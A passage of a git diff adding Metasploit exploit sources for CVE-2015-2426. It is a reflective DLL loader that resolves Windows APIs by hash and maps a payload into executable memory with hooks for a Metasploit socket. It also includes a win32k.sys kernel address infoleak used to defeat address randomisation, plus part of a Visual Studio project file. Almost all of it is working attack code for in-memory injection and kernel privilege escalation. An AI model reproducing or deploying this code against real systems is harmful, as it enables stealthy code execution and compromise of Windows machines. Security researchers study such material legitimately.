== KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; +#ifdef ENABLE_STOPPAGING + usCounter++; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + usCounter++; +#endif + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH + || dwHashValue == GETPROCADDRESS_HASH + || dwHashValue == VIRTUALALLOC_HASH +#ifdef ENABLE_STOPPAGING + || dwHashValue == VIRTUALLOCK_HASH +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + || dwHashValue == OUTPUTDEBUG_HASH +#endif + ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#ifdef ENABLE_STOPPAGING + else if( dwHashValue == VIRTUALLOCK_HASH ) + pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + else if( dwHashValue == OUTPUTDEBUG_HASH ) + pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA + && pGetProcAddress + && pVirtualAlloc +#ifdef ENABLE_STOPPAGING + && pVirtualLock +#endif + && pNtFlushInstructionCache +#ifdef ENABLE_OUTPUTDEBUGSTRING + && pOutputDebug +#endif + ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +#ifdef ENABLE_STOPPAGING + // prevent our image from being swapped to the pagefile + pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); +#endif + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume there is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // iterate through all imports until a null RVA is found (Characteristics is mis-named) + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) + { + OUTPUTDBG("Loading library: "); + OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + OUTPUTDBG("\n"); + + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + if ( !uiLibraryAddress ) + { + OUTPUTDBG("Loading library FAILED\n"); + + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + continue; + } + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + OUTPUTDBG("Resolving function: "); + OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + OUTPUTDBG("\n"); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + OUTPUTDBG("Flushing the instruction cache"); + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +// you must implement this function... +extern DWORD DLLEXPORT Init( SOCKET socket ); + +BOOL MetasploitDllAttach( SOCKET socket ) +{ + Init( socket ); + return TRUE; +} + +BOOL MetasploitDllDetach( DWORD dwExitFunc ) +{ + switch( dwExitFunc ) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter( NULL ); + break; + case EXITFUNC_THREAD: + ExitThread( 0 ); + break; + case EXITFUNC_PROCESS: + ExitProcess( 0 ); + break; + default: + break; + } + + return TRUE; +} + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); + break; + case DLL_METASPLOIT_DETACH: + bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); + break; + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..b575b9ab25 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h @@ -0,0 +1,223 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +// Enable this define to turn on OutputDebugString support +//#define ENABLE_OUTPUTDEBUGSTRING 1 + +// Enable this define to turn on locking of memory to prevent paging +#define ENABLE_STOPPAGING 1 + +#define EXITFUNC_SEH 0xEA320EFE +#define EXITFUNC_THREAD 0x0A2A1DE0 +#define EXITFUNC_PROCESS 0x56A2B5F0 + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#ifdef ENABLE_STOPPAGING +typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T ); +#define VIRTUALLOCK_HASH 0x0EF632F2 +#endif + +#ifdef ENABLE_OUTPUTDEBUGSTRING +typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR ); +#define OUTPUTDEBUG_HASH 0x470D22BC +#endif + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD _hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp new file mode 100755 index 0000000000..0732c88726 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp @@ -0,0 +1,55 @@ +#include +#include "Win32kLeaker.h" +#include + +extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD); +static const int InfoLeakBuffer = 0x40000000; + +// Don't make a const so the compiler stores it on .data +static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00; + +// Leak the base address of `win32k.sys`. This infoleak is slightly different from +// the standalone infoleak because we need to handle the position-independent nature +// of this exploit. +ULONGLONG LeakWin32kAddress() { + ULONGLONG win32kBaseAddr = 0; + HDC hdc = NULL; + DWORD hi = 0; + DWORD lo = 0; + + VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + hdc = CreateCompatibleDC(NULL); + if (hdc == NULL) { + return NULL; + } + + // Leak the address and retrieve it from `buffer`. + MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44); + + hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address + lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address + + // Check: High DWORD should be a kernel-mode address (i.e. + // 0xffff0800`00000000). We make the check stricter by checking for a + // subset of kernel-mode addresses. + if ((hi & 0xfffff000) != 0xfffff000) { + return NULL; + } + + // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using + // the following computation. + win32kBaseAddr = ((ULONGLONG)hi << 32) | lo; + + // Adjust for offset to get base address of `win32k.sys`. + win32kBaseAddr = win32kBaseAddr - InfoLeakOffset; + + // Check: Base address of `win32k.sys` should be of the form + // 0xFFFFFxxx`00xxx000. + if ((win32kBaseAddr & 0xff000fff) != 0) { + return NULL; + } + + DeleteDC(hdc); + return win32kBaseAddr; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h new file mode 100755 index 0000000000..3347f34936 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h @@ -0,0 +1,5 @@ +#ifndef WIN32KLEAKER_H +#define WIN32KLEAKER_H + +ULONGLONG LeakWin32kAddress(); +#endif diff --git a/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj new file mode 100755 index 0000000000..bbefca3bc7 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj @@ -0,0 +1,255 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + + + + Application + v120 + MultiByte + true + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v120 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + ../common + + + true + Console + MachineX86 + + + + + Disabled + 